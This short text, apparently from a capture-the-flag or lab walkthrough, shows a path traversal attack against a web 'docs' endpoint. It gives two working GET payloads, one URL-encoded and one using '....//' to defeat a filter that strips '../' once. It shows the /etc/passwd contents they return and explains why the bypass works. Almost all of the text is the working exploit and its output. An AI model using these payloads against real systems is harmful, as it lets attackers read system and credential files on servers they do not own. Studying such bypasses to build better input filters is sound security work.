The filter strips ../ literally. Try URL double-encoding or null byte insertion to bypass.
Command / Input
GET /docs?path=..%2f..%2fetc%2fpasswd
GET /docs?path=....//....//etc/passwd
Output
root:x:0:0:root:/root:/bin/bash...
⚑ ....// works because the filter strips ../ once, leaving ../ in place.